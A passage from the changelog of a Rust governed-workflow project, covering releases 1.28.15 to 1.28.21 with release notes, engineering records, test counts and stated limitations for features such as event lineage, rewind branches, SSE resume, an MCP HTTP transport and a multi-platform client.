  • M3 (scrollback + resume): transcript_window(total, earlier, size) + session_age(lineage) are pure panel fns pinned without a runtime (transcript_windows_over_ten_thousand_nodes_without_rendering_all, session_age_badge_reads_lineage_counts, sse_resume_backfills_gap_without_duplicates, no_rotation_affordance_in_panel — literals split so the guard cannot match itself, the v1.27.21 lesson). stream_events gains the Last-Event-ID header; the app-level stream driver threads the max workflow event id across reconnects. Server replay lives in alert.rs::workflow_replay_since. i18n keys land in ALL FIVE locales (parity wall intact).
  • Deviation note: the plan cites “SDK events::PHASE”; no such constant exists — the phase-transition trigger is Decision::Advance (the whole-state-replacement boundary), the closest real seam. Documented rather than invented.
  • Tests: server main bin 813 / 6 ignored (+1), lib 166 / 1, brain 19, mcp 30, eval 4, metrics 8; sdk 105 / 0 (+4); steward-harness 17 / 0 (+2, settle call-site updated for the cadence arg); client 228 / 0 (+4); clippy -D warnings + fmt clean on ALL FOUR workspace nodes; live smoke on a COPY of the real DB green (/health ok @ 1.28.21, /audit/verify ok:true, context route default/budgeted/anchored, ?since= backfill, SSE Last-Event-ID replay observed on the wire).

Honest ceilings

  • No #[wasm_split] boundaries yet — the splitter runs green but emits only an empty chunk_0; annotating lazy panel boundaries waits until a real second module earns its fetch. The shipped dx artifact measured 3.05 MB (wasm-opt’ed); the budget gate reads the stripped-posture raw build at 4.11 MB vs the unchanged 5.5 MiB cap.
  • Field budget ≈ tokens is an approximation by design; consumers wanting token-exact budgets must count on their side.
  • Findings digests name findings; they do not authenticate them (FNV-1a, non-cryptographic — the audit chain remains the integrity surface).
  • SSE resume covers the WORKFLOW coordinate space only (the alert feed’s own re-sync remains the poll fallback + lineage read); replay is bounded to one drain batch per domain per request — older gaps go through /events?since=.
  • Compaction/summarization is NOT built here (zero-token rule); the openclaw consumer owns its prompt slice construction.
  • The engine-pull worker remains unwired (v1.28.20 ceiling carried): the GUI crank button still says so honestly.

[1.28.20] — 2026-08-23 — “Cockpit”: the console surface is real, one codebase, every platform

The client stops being web-only-in-truth: desktop and mobile become cargo features of the same codebase (default = ["web"] — every existing gate untouched), the run transcript’s three unrendered node kinds (assistant / tool / delivery) get real renderers, evidence becomes a first-class view, the lineage timeline becomes a component with its own deep-linkable route, and GET /workflow/scoreboard gets a panel. Server code unchanged; server + client versions align at 1.28.20 (client 1.28.19 → 1.28.20); schema unchanged.

Release notes

Improvements

  • Desktop is a build target: cargo check/build --features desktop compiles a native window shell from the same tree; scripts/build-desktop.sh [macos|nsis|appimage|all] wraps the documented dx bundle --desktop command set with fail-on-error discipline (the dx CLI stays an operator install — that line was already honest, it stays honest). The mobile feature is a compile-smoke target in CI, explicitly allow-fail this release — no store submission has shipped, STORE_READINESS untouched.
  • Downloads work off the browser now: audit exports, UMP/DSAR exports, and recall-trace exports all go through ONE download seam — blob save on web, native file write to BRAIN_DOWNLOAD_DIR on desktop/mobile, behind one traversal-safe filename gate.
  • The transcript renders all five node kinds: assistant turns stream progressively and settle, tool invocations render name/status cards, delivery packets render their collected items with a done badge. Unknown kinds still fall through to the generic card — nothing is silently dropped.
  • Evidence as a view: a settled tool node whose output carries structured evidence renders findings with provenance origins, contradictions as LINKED PAIRS (both rows together or not at all — a one-sided half is refused), evidence digests, and verification questions with justification + score. Read-only over machine-written state; absent fields render absent, never invented.
  • New /runs/:id/timeline route renders the full lineage (branch markers, checkpoint badges, AskHuman pauses) through the SAME TimelineView component the workflow-run node uses; linked from the transcript header.
  • New /scoreboard panel (nav-gated with Audit): nine metric cards + runs-scored + audit-green badge + the weekly calibration-report badge, rendered only from fields the endpoint actually shipped.
  • Composer /commands: /crank [steps], /handoff, /scoreboard, /help — the CLI verbs, GUI-ified. ? opens a keyboard/command cheat-sheet dialog (Esc closes). J/K/A/R conventions unchanged.
  • The human crank control ships bounded (1–500 steps selector) and role-gated (Write+Approve) — but is honestly unwired: there is NO HTTP crank route (crank today spawns the local steward-harness binary, which a browser cannot do). Pressing it says so instead of pretending. The engine-pull worker milestone makes it real next.

Security fixes

  • The download filename gate refuses any .. path component BEFORE separator flattening, plus separators/control characters — a download can never escape its target directory (the session-learning traversal rule, applied where new file-write code landed).

Engineering record

  • M1 (platforms): client/Cargo.toml gains the Dioxus feature triad (web/desktop/mobile, default web); [desktop.window] lands in Dioxus.toml; CI’s client-gate adds libwebkit2gtk headers + cargo check --features desktop --all-targets (compile correctness, no GUI run) and an honestly-labeled allow-fail mobile smoke row. The three blob-download sites collapse onto the shared src/download.rs seam (native path writes to BRAIN_DOWNLOAD_DIR, XDG-Downloads fallback, no new dependency).
  • M2/M3 (surface): view-model builders ship on the node definitions themselves (AssistantTurn/ToolInvocation/Delivery::build_view_node) so the panel renders models, not raw folds. FrameGate — the AnimationFrame coalescing policy core — ships pinned; see ceilings for why it is not yet the runtime driver. Evidence extraction (evidence_of, contradiction_pair) and timeline classification (timeline_marker → Checkpoint/Branch/AskHuman/Plain) are pure fns pinned without fetches.
  • M4 (honesty): ~40 new i18n keys land in ALL FIVE locales (translated, en fallback intact) under the existing parity wall. The wasm graph gate (bundle-budget.sh) fails CI if the normal-edge tokio graph grows runtime features beyond sync. Size posture: .cargo/config.toml applies -C opt-level=z -C strip=symbols to the wasm target (mirroring the new [web.wasm_opt] level = "z" for dx bundles).
  • Budget ledger note: the wasm budget gate was ALREADY RED at v1.28.19 as measured locally (5.96 MB raw release build vs the 5.5 MiB cap — the cap was set against a wasm-opt’ed artifact while CI builds raw). This release’s opt-level=z rustflags bring the raw CI measurement to 4.09 MB, green with real headroom; the cap itself is unchanged (5,734,400 bytes).
  • Tests: server main bin 812 / 6 ignored (unchanged), lib 166 / 1 (unchanged), brain 19, mcp 30, eval 4, metrics 8 (unchanged); client 224 / 0 (+12: frame coalescing, five-kind view models, composer command parsing incl. crank bounds, keyboard help, crank role/bound pins, evidence extraction + linked-pair refusal, scoreboard wire-shape match, download traversal gate, timeline markers). clippy -D warnings + fmt clean on both trees AND --features desktop; live smoke on a COPY of the real DB green (boots, /health ok, /audit/verify ok:true).

Honest ceilings

  • The crank button does not crank. No HTTP crank route exists; the GUI control is bounded, role-gated, and truthful about being unwired until the engine-pull worker milestone (persistent harness worker claiming steps via CAS — decided during this session as the next release).
  • AnimationFrame coalescing rides the scheduler, not a clock. The panel refolds once per committed render batch (Dioxus effects), which is one flush per paint in practice; the pinned FrameGate policy core becomes the literal runtime driver when a requestAnimationFrame bridge seam exists (needs a timer primitive on web without a new dependency).
  • Mobile remains a compile-smoke target (allow-fail in CI this release); desktop bundles are operator-built via dx — CI checks compilation, never bundles.
  • The cheat-sheet drawer has role="dialog"/aria-modal/Esc-close; the full Tab-cycle focus trap + focus restoration remain the documented drawer ceiling.
  • Scoreboard renders only shipped endpoint fields; a new scorer field that doesn’t land in METRIC_FIELDS silently doesn’t render (by design — nothing invented client-side).

[1.28.19] — 2026-08-23 — “Witness”: the client finally testifies

The client-side evidence loop closes: a workflow-outbox drain worker publishes drained workflow/* events on the /events SSE bus (opt-in, domain-gated, sanitized before broadcast), the GUI holds a persistent reconnecting stream instead of a chunk-and-drop poll, posts per-plugin mount evidence with the Anchor-signed boot-manifest digest, and the review-job / workflow-run chat nodes become real HITL surfaces on a new /runs/:id conversation panel. Plus: the standalone mcp binary gains the MCP Streamable HTTP/SSE transport alongside stdio. Server Cargo.toml/lock 1.28.18 → 1.28.19; client 1.28.14 → 1.28.19; schema unchanged (1.28.18 — zero DDL); SDK + harness unchanged.

Release notes

Improvements

  • /events now also carries drained workflow/* outbox events under kind workflow with payload {topic, run_id, payload_json, event_id, parent_event_id, domain}. Additive and default-off: existing consumers see nothing unless they explicitly ask ?kinds=workflow, and even then only events whose run domain they may Read (checked per subscriber at fan-out; denied events are dropped, never leaked).
  • The GUI holds ONE persistent /events stream for the whole app (survives route changes): capped exponential backoff (1 s → 30 s), deduped per coordinate space (alert seq, outbox (run_id, event_id)), bounded 500-event ring. The old 10 s poll is demoted, not removed — it wakes only after two consecutive stream failures.
  • New /runs/:run_id conversation panel (deep-linkable): the run’s stream events fold through the conversation assembler into keyed chat nodes — review-job renders digest + SLA clock + role gate with inline approve/reject (the ApprovalDock’s digest-bound decision action moved to where the evidence streams in; the dock itself remains on Overview), and workflow-run renders the lineage timeline (parent links + branch markers) and the live AskHuman card. Unknown node kinds fall back to a generic card — never silently dropped. Keyboard conventions reused from Review (A/R decide, J/K walk).
  • Mount evidence flows at last: every GUI boot posts one POST /workflow/plugins/mount per mounted plugin, carrying the bundle SHA-256 read from the Anchor-signed /app/boot.json (.wasm entry preferred). Fire-and-forget with a console warning — evidence loss is visible, never fatal.
  • MCP over HTTP: the mcp binary now serves its full JSON-RPC surface over Streamable HTTP (POST /mcp, SSE-framed when the client’s Accept asks) in addition to stdio — opt-in via MCP_TRANSPORT=http / MCP_HTTP_ADDR. Example Claude Desktop and OpenClaw configurations are in docs/mcp.md.
  • Steering composer on the run panel posts the existing screened POST …/steering (≤4000 chars, live remaining-char count).

Bug fixes

  • Fixed a pre-existing runtime panic in the client: the plugin host was provided to the context as a bare PluginHost while consumers read it as Signal<PluginHost>, so mounting the Overview approval dock panicked. The provider now wraps the host in a signal.
  • Fixed an aborted-git-stash hazard during this release’s development session (work recovered intact; no tree damage).

Security fixes

  • The workflow event bridge applies the unconditional sanitize seam to outbox payloads BEFORE broadcast (invisible chars + markdown-ref constructs never reach the wire raw, even though engine state is machine-written), and the per-subscriber run-domain Read gate fails closed at fan-out.
  • HTTP-mode MCP is fail-closed by construction: loopback bind by default, optional MCP_HTTP_TOKEN bearer checked BEFORE any request parsing (401 on missing/wrong credential), bodies capped at the 1 MiB stdio bound (413), non-JSON content types refused (415), GET/DELETE refused 405 (stateless server, no listen stream).

Engineering record

  • Server M1 (outbox → SSE bridge): new spawn_workflow_event_worker in src/alert.rs — every 2 s, per registered domain (webhook drainer’s cadence + fail-soft discipline), pending topic LIKE 'workflow/%' rows advance via the existing workflow::outbox::deliver (audit row commits in the same tx; non-workflow topics like steering are never touched — engines consume those through their own surfaces) and publish {kind:"workflow", payload:{…}} on the bounded broadcast. Batch-bounded at 100 rows/domain/tick. Admission decision extracted as pure workflow_event_admissible(kinds, authorized): opt-in required AND domain Read granted (default-off for old consumers). Pinned by workflow_events_broadcast_with_domain_authz, sanitize_applies_to_workflow_payloads, kinds_filter_excludes_workflow_by_default.
  • Client M2/M3/M4 (Witness): new client/src/events.rs — parse/framing/backoff/dedup/envelope-adapter pure cores (stream_reconnects_and_dedups_by_seq, ops_poll_falls_back_after_two_stream_failures, assembler_ingest_builds_review_job_from_proposal_events) with the coroutine driver as thin plumbing in main.rs; stream_client() drops the 15 s total timeout that would sever healthy streams while keeping the 5 s handshake bound. New client/src/panels/conversation.rs keyed off the shared slot registry (ui_renderer::chat_node_view dispatch + generic-card fallback); answer binds SHA-256 of the exact pending_question bytes (server re-verifies in-tx). api.rs gains ~12 typed wrappers (workflow_open/run/state/state_put/events/answer/steer/rewind/handoff/scoreboard, plugin_mount_evidence, boot_manifest). Mount-evidence planning is pure (plugins::mount_evidence_plan + manifest_digest: .wasm preferred, absent manifest → metadata-only evidence — an unverifiable digest is never invented).
  • MCP HTTP transport: src/bin/mcp.rs reuses the existing JSON-RPC core (handle_line) behind an axum router driven by tower::ServiceExt::oneshot in tests — no sockets needed for the pins: http_post_roundtrips_jsonrpc, http_sse_negotiation_frames_the_response, http_notification_is_202_no_body, http_get_delete_refused, http_body_cap_refused_413, http_wrong_content_type_415, http_token_gate_fails_closed, sse_negotiation_and_framing_are_pure. Content negotiation honors the client’s Accept; legacy-era negotiation stays per-request (stateless ceiling documented below). Zero new dependencies (axum/tokio were already workspace deps).
  • Tests: server main bin 812 / 6 ignored (+3: the three Witness bridge pins); lib 166 / 1 ignored (unchanged); mcp bin 30 (+11: the eight HTTP/SSE pins above plus framing helpers); brain CLI 6, eval 4, metrics 8, bench 8 (all unchanged); client 212 / 0 (+11: events cores ×5, mount-evidence ×3, conversation panel ×3). clippy -D warnings + fmt clean on both trees; lipstyk diff gate green (one rule disable added with written reason: structural-repetition fires on the ~90 deliberately one-line typed API wrappers — the repetition IS the wire contract); live smoke on a COPY of the real DB green: brain doctor clean, verify_chain intact, open-run → POST event → SSE delivery within one drain tick (both JSON and SSE framings), GET 405 / notification 202 verified against the running process.

Honest ceilings

  • The SSE bus is broadcast-lag semantics: a slow consumer drops missed events and re-syncs via the poll fallback (ops) or the lineage read (runs). The drain worker marks rows delivered after publish-attempt scheduling — a crash between deliver and broadcast loses that event from the LIVE feed (it remains fully queryable via /workflow/runs/{id}/events; the durable record is never lost, only the push).
  • Domain fan-out authorization is evaluated at stream-delivery time against each subscriber’s principal at connect; long-lived connections do not re-authorize mid-stream when roles change (reconnect picks up new grants).
  • HTTP-mode MCP is stateless: no sessions, no server-initiated messages, no resumability tokens; legacy (2025-11-25) clients must send initialize per connection because nothing sticks between requests. Non-loopback binds without MCP_HTTP_TOKEN are possible but documented as misconfiguration, not prevented.
  • Per-plugin bundle digests do not exist: compile-time plugins ship inside the single UI wasm bundle, so all mount-evidence rows carry the same manifest digest (the executing UI code), not per-plugin hashes.
  • The ops poll fallback re-syncs alert regions only; the conversation panel relies on the persistent stream (its degraded mode is the manual reload / lineage refetch).

[1.28.18] — 2026-08-23 — “Lineage”: events remember where they came from

The outbox grows ancestry: parent_id links every event to the event it followed, checkpoints become events, rewind branches instead of deleting (pi’s leaf-move discipline), and the I-PASS handoff packet becomes a real endpoint. Server Cargo.toml/lock 1.28.17 → 1.28.18; SDK brain-engine-sdk 1.28.10 → 1.28.11; schema 1.27.38 → 1.28.18 (outbox.parent_id, additive-NULL); steward-harness unchanged at 0.2.2; client + plugin unchanged.

Release notes

Improvements

  • Runs now have a tree, not a list: every outbox event can carry a parent_event_id, the engine threads its lineage cursor automatically, and after a rewind the next event parents at the rewind target. GET /workflow/runs/{id}/events?branch= reads any branch’s ancestor chain, root-first.
  • Rewind-as-branch: POST /workflow/runs/{id}/rewind restores the state snapshot from a workflow/checkpoint event (or the run root) in one transaction, appending a branches[] marker to the engine-owned state. Nothing is ever deleted — the abandoned branch stays fully queryable. Write + approve role gate, reason screened like steering.
  • Checkpoints are events: at every step boundary the engine emits workflow/checkpoint carrying the full state snapshot (≤256 KiB guard — oversized states error loudly, never truncate).
  • The I-PASS handoff packet exists: GET /workflow/runs/{id}/handoff assembles Illness/Patient/Action/Situation/Safety from the run’s own records (frontdoor seed, opening event, steps, latest checkpoint digest, SLA envelope, legal-hold + escalation status); handoff_complete derives exactly as the scoreboard derives it. CLI: brain workflow handoff <run> (with --json).

Security fixes

  • None new: the rewind write rides the existing gates (domain Write, approve role, blocklist screening of the free-text reason) and commits its audit row in the same transaction as the state restore.

Engineering record

  • Fixed a pre-existing compile break on main found while wiring this release: exec_allowlist() called a non-existent parse_word_list helper (a leftover from the previous lipstyk cleanup pass); it now uses the sibling word_list like its HTTP twin. The tree at v1.28.17 did not compile as-committed.
  • M1 (migration + substrate): additive ALTER TABLE outbox ADD COLUMN parent_id INTEGER REFERENCES outbox(id) guarded by a pragma probe (fresh DDL carries it too); schema stamp → 1.28.18; down-migration is a documented no-op (SQLite ALTER DROP is not portable — keep the column, drop the code). outbox::enqueue_child mirrors enqueue’s exactly-once discipline (INSERT OR IGNORE, audit only on first insert, replay never re-parents — first write wins) and returns (created, event_id) so callers link without a second read; enqueue now resolves the id too. verify_outbox_lineage(conn, run_id): every non-root parent must exist, belong to the same run, and have a smaller id — cycles are impossible by construction, the check proves the stored rows obey it. Pinned by verify_outbox_lineage_detects_orphans_and_cycles (orphan via FK-disabled fixture row, cross-run parent, forward-id link, legacy all-NULL flat chain passes).
  • M2 (SDK ABI): one additive defaulted method, WorkflowHost::enqueue_with_parent(run_id, parent_event_id, topic, payload_json, key) -> Result<(bool, i64)>; the default delegates to enqueue and reports the 0 sentinel id, so every existing impl (server host, remote host, test doubles) compiles unchanged. SqliteWorkflowHost overrides with the real thing through the same lane discipline.
  • M3 (engine + routes): the crank threads last_event into every emission (host path and mediated Effects door — the events hostcall body gained optional parent_event_id, its receipt is now enqueued:<created>:<event_id>); the cursor seeds from the LAST state.branches[].from_event, which is what makes rewind work without a server push. /events POST gains parent_event_id → {first, event_id}; new GET /events?branch=, POST /rewind, GET /handoff handlers live in src/handlers/workflow_lineage.rs with the read seam on every emitted text field, probe-blind 404s, and WorkflowTx atomicity (transition + audit commit together). Route-coverage + route-authz guard tables extended (rewind Write, handoff Read; the shared /events path maps to the last-registered handler per the documented convention). openapi.yaml + docs/api.md updated in the same change.
  • M4 (I-PASS): pure builder crates/brain-engine-sdk/src/pure/handoff.rs (no serde derive — input is pre-resolved facts, output a plain struct; deterministic over its inputs). The server handler gathers facts (run row, opening event, workflow_steps, step events, latest checkpoint digest, pending_question, SLA deadline — recorded value or the policy stamp over P3 at run-open, legal-hold count, escalation flag) and renders five {title, lines} sections.
  • Tests: server bin 809 / 6 ignored (+7: post_event_parents_and_returns_event_id, rewind_creates_branch_not_deletion, rewind_requires_checkpoint_target_and_approve_role, events_branch_query_walks_ancestors, handoff_route_assembles_five_pass_sections, outbox lineage pins ×2 incl. the child audit-once pin); lib 166 / 1 ignored (outbox tests re-pinned for the (bool, i64) signature); SDK 101 / harness gold 6 + effects 3 + settle 4 + lineage 2 (checkpoint_payload_round_trips_state_exactly, rewind_creates_branch_and_replay_is_idempotent). clippy -D warnings + fmt clean across all three workspaces; lipstyk diff-gate green with the two documented rule disables in .lipstyk.toml (spawn_blocking-owned clones; the named exec_allowlist seam).

Honest ceilings

  • Legacy runs stay flat: existing rows are NULL roots and verify treats them as valid flat sequences until new emissions chain them — an audit-shaped choice, not a migration gap.
  • Root rewind (target = the run’s first event when it is not a checkpoint) restores {}, not the original open state: pre-checkpoint history had no snapshot. The first checkpoint lands at step boundary 1, so the exposure is bounded to runs rewound before their first step.
  • Branch selection is single-cursor: the engine follows the LAST branches[] marker; parallel sibling branches are queryable via /events?branch= but only one branch is “live” per run state (multi-head driving is later engine work, behind its own gate).
  • The handoff packet is assembled evidence, not judgment: no LLM summarization of abandoned branches (pi’s summary-at-ancestor is noted, not built), no cross-run dependency analysis; SLA falls back to a P3 policy stamp when the state records no deadline.
  • /health’s chain watcher does not sweep outbox lineage — verify_outbox_lineage is callable and tested but not yet surfaced on a route or metric (Witness-tier work).

[1.28.17] — 2026-08-23 — “Settle”: the workflow invariants are law

DeepSeek Harness’s settlement guarantees become contract tests BEFORE the engine grows: the result never rejects, cancel/dispose settle within bounded grace, events are observe-only clones, admission is capped, and the budget door fails closed — pinned as pure algebra in the SDK and tokio conformance in the engine. Server Cargo.toml/lock 1.28.16 → 1.28.17; SDK brain-engine-sdk 1.28.9 → 1.28.10; steward-harness 0.2.1 → 0.2.2; client + plugin unchanged; no schema change.

Release notes

Improvements

  • The engine can no longer ship without its settlement guarantees: CI now runs the SDK’s feature-gated workflow invariants explicitly (cargo test -p brain-engine-sdk --features harness-kernel) and a dedicated steward-harness-gate job (fmt + clippy + test) for the engine’s tokio conformance.
  • Cooperative cancel is real: new crank_cancellable observes a shared CancellationToken at every step boundary and settles the run as StoppedAt::Cancelled exactly between steps — never mid-step, never splitting a CAS/event twin. Existing crank signatures are unchanged (additive).
  • Budget enforcement is now reachable and fail-closed: an exhausted window or an unenforceable budget denies the hostcall dispatch (BudgetExceeded) before any handler runs; previously the guard was dead code and BudgetExceeded could never fire.

Bug fixes

  • Event idempotency keys used the PER-CRANK step counter (run-{id}-evt-{steps_executed}), so a cancelled-then-resumed run re-keyed its events from 1 and the exactly-once gate silently swallowed EVERY resumed step’s event twin. Keys now derive from the PERSISTED step count — deterministic on replay, correct across resumes (pinned by sigterm_settle_then_resume_exact artifacts-equal-control plus the no-half-step twin audit).
  • CancellationToken::clone snapshotted the flag value instead of sharing it, so a cloned token never observed later cancels — cancellation propagation was silently broken for every clone holder. Clones now share one signal cell.

Security fixes

  • None (the fail-closed budget denial above is hardening of an unreachable path, counted here as an improvement).

Engineering record

  • M1 (SDK, pure algebra): six settlement pins in workflow.rs, deterministic, no clocks/threads beyond the existing wall-clock mirrors: result_never_rejects_any_terminal_path (exhaustive over completed|error|cancelled; failure IS a value; once-semantics; cancel-after-terminal cannot override), cancel_settles_within_bounded_grace_under_tick_model (tick model: hanging scripts settle AT the grace bound via the abort path; cooperative engines settle before it), dispose_waits_for_child_quiescence_within_bound (a settling child keeps its own stop-reason, a never-settling child is force-completed at the bound, none left Running), events_are_cloned_per_listener_and_throw_contained (a mutating + throwing listener cannot tamper with or starve later listeners), admission_enforces_max_total_agents_16_and_released_slots_readmit (the 17th concurrent admit is refused regardless of arguments; released slots readmit). Where a pin met reality, reality moved minimally: the dispatch budget guard was rewritten to be live and deny-by-default on unenforceable windows, and CancellationToken gained shared-state clone semantics.
  • M2 (engine conformance, tokio): four pins in steward-harness/tests/settle.rs: crank_cancelled_mid_run_settles_at_step_boundary (deterministic mid-run block-on-CAS double; state lands parseable on an exact step boundary, revision == recorded steps, every CAS twin paired with its run-{id}-evt-{n} event twin), sigterm_settle_then_resume_exact (cancel mid-run then resume; final artifacts equal the uncancelled control run field-for-field), bounded_grace_beats_a_stuck_step (without cancel the grace window elapses wedged; cancel ⇒ settled within the bound as Cancelled — never a hang, never a panic), event_listeners_do_not_starve (a panicking subscriber is contained at dispatch; later listeners receive every payload). Additive seams: StoppedAt::Cancelled, crank_cancellable, InMemHost outbox_of/audit_log test accessors; steward-harness tokio gains the time/rt-multi-thread features (feature-add, no new dependency).
  • M3 (CI): engine-crates job runs the SDK settlement gate explicitly; new steward-harness-gate job compiles and tests the harness tree.
  • Tests: server bin 802 / 6 ignored (+2 — the decision-signing-key serialization pins landed separately in this tree as d43c060); lib 166 / 1 ignored; brain CLI 19, mcp 21, bench 6; SDK 97 (+7); harness gold 6 + effects 3 + settle 4 (+4). clippy -D warnings + fmt clean across all three workspaces.

Honest ceilings

  • Cancel is COOPERATIVE at step boundaries: a step already executing to completion is not interrupted (there are no await points inside a step); bounded-grace force-settlement lives in the SDK’s CancelHandle::cancel_blocking/dispose handles, not in the crank loop. Worker-thread isolation remains the deferred sandbox tier.
  • bounded_grace_beats_a_stuck_step proves the driver settles without waiting out a stuck child and that the report carries cancelled; it does not kill the stuck OS thread (test doubles leak by design; production abort semantics arrive with the async step-executor tier).
  • The budget denial bounds DISPATCH, not handler runtime: exec/http handlers enforce their own timeouts (30 s poll-kill, egress bounds) — an in-handler wall-clock check against Budget is Cockpit-tier work.
  • No conformance matrix document — the tests ARE the matrix (per plan non-goals).

[1.28.16] — 2026-08-23 — “Anvil”: the ExecutionEnv is real

Every engine tool-effect goes through one mediated, countable, auditable door. The SDK’s hostcall machinery (v1.28.2) was 80% of the idea; this release finishes it and closes the Rule-of-Two posture on the engine side. Server Cargo.toml/lock 1.28.15 → 1.28.16; SDK brain-engine-sdk 1.28.8 → 1.28.9; steward-harness 0.2.0 → 0.2.1; client + plugin unchanged; no schema change.

Release notes

Improvements

  • All four remaining hostcall kinds now have server handlers: exec (argv-only, no shell, operator allowlist, cwd-pinned, output capped + sanitized), http (deny-by-default egress on the shared hardened client), events (the outbox as the ONLY event door, workflow/* topics only), and ui (an explicit named refusal — reserved: lands with Cockpit, not an absence). The dispatch table is exhaustive over the closed 7-kind vocabulary.
  • New mediated tool: knowledge_suggest — the domain-scoped, quarantine-clean (flagged = 0) suggestion read, sanitized before it crosses the boundary; cross-domain rows never answer.
  • Engines are countable: every canonicalized dispatch tallies into a per-run counter map (denials count too), surfaced additively as CrankReport.hostcalls — the audit chain stays the durable count.

Bug fixes

  • /workflow/scoreboard no longer 500s: the audited-run linkage queried a plain-text audit_events.target column that the migrated DDL never had (same dead-code class as the removed executor INSERTs). The set now reconstructs via hash("run:{id}") membership over target_hash — the canonical target every run-bound substrate write emits — and stays fail-closed (unparseable/unlinkable = not green). Pinned by an in-memory DB regression test.

Security fixes

  • Engine exec is fail-closed by default: BRAIN_ENGINE_EXEC_ALLOWLIST empty/absent = deny ALL exec, and the global deny still outranks any per-engine grant for other capabilities. Destructive commands are refused by the SDK mediation table even when allowlisted.
  • Engine egress is deny-by-default: destination hosts must be in BRAIN_ENGINE_HTTP_ALLOWLIST; remote destinations are forced onto HTTPS (loopback may speak plain http); redirects are refused by the shared egress client.
  • Exec stdout/stderr are each capped at 64 KiB and the whole result passes sanitize_read — PII in process output cannot cross into engine hands raw.

Engineering record

  • Client binaries (brain, mcp, bench, brain-connector-stub, brain-connector-gh) sent the WHOLE multi-line rotation token file as one Authorization header value; the embedded newline corrupted the request into an empty-body 400 before auth ran. All five now send exactly one slot via the shared first_token helper in bin_common/http.rs (pinned), which also fixes MCP brain_search/ump.* calls against rotation-slot files.
  • M1 (server): src/workflow/hostcalls.rs::build() registers all seven kinds via the extracted register_handlers. production_policy(engine) grants the per-engine exec allow ONLY when BRAIN_ENGINE_EXEC_ALLOWLIST resolves non-empty (deny-cap removal + explicit per-engine override for THAT engine; every other engine falls through to Prompt == Denied). Exec: JSON {"argv":[...]} body, argv0 admission (exact or trailing-/ directory prefix), exec_mediation refusal table, BRAIN_ENGINE_WORKDIR pin (default: process cwd — see ceilings), pipe-drain threads so a chatty child cannot wedge on a full pipe, poll-kill at the 30 s budget bound, {exit_code, stdout, stderr} sanitized. Http: {"host","path"} body, host shape validation, build_url scheme law (pinned pure), one-shot current-thread runtime for the sync handler seam. Events: run id in the dispatch name, topic prefix + payload size + key bounds enforced, replayed keys return the idempotent enqueued:false receipt. Every refusal path audits workflow/hostcall/{kind}/denied through the host chain.
  • M2 (SDK): HostCallContext gains an append-only BTreeMap<(label, kind), u64> behind a counters() accessor — incremented for every canonicalized dispatch INCLUDING denials; plus has_handler(kind) (the exhaustiveness pin’s read seam).
  • M3 (engine): steward-harness effects::Effects is the ONE effect door — exec/http/event/suggest/log serialize the exact mediated body shapes and ride dispatch; crank event emissions route through it when provided (crank_full, additive — existing signatures unchanged) with the per-call tally landing in CrankReport.hostcalls. The reqwest transport stays solely in remote_host.rs, pinned by the include_str! self-grep engine_has_no_direct_effect_paths.
  • M4 (policy posture): Prompt == Denied server-side documented (no interactive prompt without a human); SECURITY.md gains the engine hostcall mediations table (kind → handler → policy → audit shape).
  • Tests (all plan-named pins green): exec_denied_when_allowlist_empty, exec_runs_only_allowlisted_argv0_with_cwd_and_timeout, exec_output_is_sanitized_and_capped, http_denied_by_default_and_allowlisted_host_passes (one-shot loopback HTTP server), http_refuses_redirects_and_non_https_remote, events_handler_enforces_workflow_topic_prefix_and_size, ui_denied_with_named_reason, hostcall_table_is_exhaustive (server + SDK sides), dispatch_counter_increments_per_kind_and_report_carries_it, knowledge_suggest_is_domain_scoped_and_sanitized (cross-domain + flagged-row leak probes), engine_has_no_direct_effect_paths (+ effects body-shape and loud-denial pins, SDK dispatch_counter_increments_per_kind_and_label). Env-mutating tests serialize on a lock (the compliance-test posture).
  • Tests: server bin 800 passed / 6 ignored (+11); lib 165 / 1 ignored (the connector-stub spawn failure is the known environmental one — fails identically on clean main); brain 19, mcp 20, bench 5, eval 4, metrics 8; harness crate 6 gold pins + 3 effects tests; SDK 90 (+2). clippy -D warnings + fmt clean across all three workspaces.
  • Review fixes (same release): hostcall audit targets are now workflow/hostcall/<kind>/run:<id> and tenant_for_target resolves a run: reference ANYWHERE in a target — handler audit rows land on the run’s domain tenant instead of global (pinned by hostcall_audits_resolve_the_run_domain_tenant); knowledge_suggest against a missing run fails closed (run not found) instead of answering an empty ok.

Honest ceilings

  • No sandbox backend (landlock/gVisor/seccomp) — the allowlist+mediation door IS the boundary until one exists; engines hold bash-equivalent trust, this defends against buggy scripts, not hostile code.
  • Prompt == Denied until Witness wires the GUI consent path; ui refuses with its named reason even where policy would admit it.
  • Exec timeout is the fixed 30 s Budget default — the per-op budget seam (Budget::op_secs wired into the handler) lands with the GUI crank; workdir defaults to the process cwd when BRAIN_ENGINE_WORKDIR is unset (per-domain data-dir wiring arrives with Cockpit).
  • The harness binary’s default crank still rides the host trait’s audited enqueue when no Effects door is supplied (also mediated, also audited); the tally then reads empty rather than lying about mediations that did not happen.
  • DNS-rebinding across the egress client’s connection-pool TTL remains the documented webhook ceiling, inherited here.
  • The counters are an in-process tally, not durable state — the audit chain remains the authoritative count.

[1.28.15] — 2026-08-23 — “FirstLight”: the loop runs

The governed-workflow substrate (v1.27.30) gets its FIRST consumer: the steward-harness echo stub (15 lines, canned {"ok":true}) becomes the real engine — and the missing AskHuman link closes. Server Cargo.toml/lock 1.28.14 → 1.28.15; SDK brain-engine-sdk 1.28.7 → 1.28.8; steward-harness 0.2.0; client + plugin unchanged; no schema change.

Release notes

Improvements

  • The loop runs: brain workflow crank <run> drives a real governed loop over the new substrate routes — load state → decide → one troubleshoot-core step per turn with gate waterfall, budget law (default 24, ceiling 1000), advisory steering drains, and an exactly-once event trail (run-{id}-evt-{n}).
  • AskHuman closes: POST /workflow/runs/{id}/answer digest-binds the answer to the live pending_question (SHA-256), appends answers[], clears the question, and CAS-writes in ONE transaction.
  • New role-gated routes: POST /workflow/runs (open + audit row atomically), GET|PUT /workflow/runs/{id}/state (engine-exact CAS view, 409 {actual_revision} on stale), POST /workflow/runs/{id}/events (exactly-once by key), GET /workflow/runs/{id}/steering?since= (advisory inbox drain). Engine paths carry the workflow role; answer carries approve.
  • brain workflow is real: open / status / answer / approve / crank (spawns the harness binary beside the CLI or via BRAIN_STEWARD_BIN; usage string updated).

Bug fixes

  • Dead code removed: src/workflow/executor.rs + consensus.rs INSERTed into columns absent from the migrated DDL — they would have failed if ever called. Deleted (zero callers).

Security fixes

  • Answer text runs the prompt-injection blocklist BEFORE it can reach run state (400 answer_rejected); answers are bounded at 4000 chars like steering.
